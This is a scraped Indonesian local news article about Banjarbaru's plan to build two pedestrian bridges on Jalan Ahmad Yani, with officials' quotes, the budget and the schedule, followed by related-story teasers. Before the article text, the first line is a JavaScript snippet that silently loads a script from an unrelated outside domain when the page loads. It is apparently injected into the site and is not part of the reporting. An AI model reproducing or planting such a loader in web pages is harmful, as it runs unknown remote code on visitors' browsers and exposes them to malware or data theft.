(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Wacana menjadikan Kota Banjarbaru tempat yang aman dan nyaman bagi masyarakat terus dilakukan. Di antaranya dengan merealisasikan pembangunan jembatan penyebaran orang (JPO).
Fasilitas umum yang membentang dari satu sisi ke sisi bagian seberang tersebut bakal dibangun pada Mei 2022 ini. Dan apabila pembangunan itu terwujud, Banjarbaru menjadi satu-satunya daerah di Kalsel yang memiliki JPO.
“Beberapa tahun silam JPO sebenarnya ada di Banjarmasin, namun sudah dibongkar. Karena, kalau tidak salah pembangunannya tak sesuai standar yang diinginkan pihak Balai Jalan Nasional,” ungkap Kepala Bidang Bina Marga, Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Adi Maulana.
Menurut Adi, berkaca dari ‘nasib’ JPO di Banjarmasin yang tak berumur panjang lantaran dinilai menyalahi aturan, Pemkot Banjarbaru nantinya membangun berdasarkan petunjuk teknis (Juknis) yang diberikan Balai Jalan Nasional.
Baca juga : Aksi Demo BEM Se Kalsel Sentil Mahalnya Migor, BBM hingga Naiknya PPN
“Upaya itu dilakukan untuk menghindari kejadian pembongkaran serta memberikan jaminan keselamatan bagi masyarakat saat fasilitas tersebut mulai dioperasionalkan,” ujarnya.
JPO di Banjarbaru akan dibangun pada dua titik, di Jalan Ahmad Yani Kilometer 23 atau tepat di depan Pondok Pesantren Al-Falah Putra, serta di Jalan Ahmad Yani Kilometer 34 atau samping pom bensin.
“Untuk 2022 ini kita akan bangun JPO yang berlokasi di Jalan A. Yani Km. 34 terlebih dahulu,” beber Adi.
Sementara, untuk JPO di kawasan Ponpes Al-Falah Putra bakal dibangun pada 2023 nanti. Dalam pembangunan keduanya, Pemko Banjarbaru akan menyiapkan dana pagu sebesar Rp 8 miliar. Rinciannya sebesar Rp 3,5 miliar untuk JPO Km. 34 dan sisanya untuk JPO Km. 23.
“Saat ini kami sudah proses tender, untuk mencari pemenangnya,” lanjutnya.
Baca juga : Warga Desa Sejahtera Batulicin Ditangkap Gegara Sabu
Lalu, terkait masalah periklanan atau advertising, kata Adi, seluruhnya menjadi ranah dari Balai Jalan Nasional. Sebab, terdapat aturan yang tidak memperbolehkan untuk mengganggu kenyamanan para pengguna jalan.
Berdasarkan rancangan awal, JPO Banjarbaru juga akan dilengkapi penerangan cahaya pada bagian dalam. Penempatan itu dilakukan agar tidak menimbulkan cahaya berlebihan yang dapat menyulitkan penglihatan masyarakat saat melintas di dekat JPO, terutama saat pada malam hari.
“Nanti JPO ini menggunakan penutup yang terbuat dari semacam kaca jadi sudah bisa dipastikan akan aman,” tambahnya. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More
KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin mengungkap kasus pembunuhan yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Workshop Implementasi Jastrada Air Minum Provinsi Kalsel tahun 2024 di Banjarmasin digelar… Read More
KANALKALIMANTAN.COM, MARTAPURA - Murid kelas 5 SDN Indrasari 2 Martapura, M Royan bersama guru dan… Read More
This website uses cookies.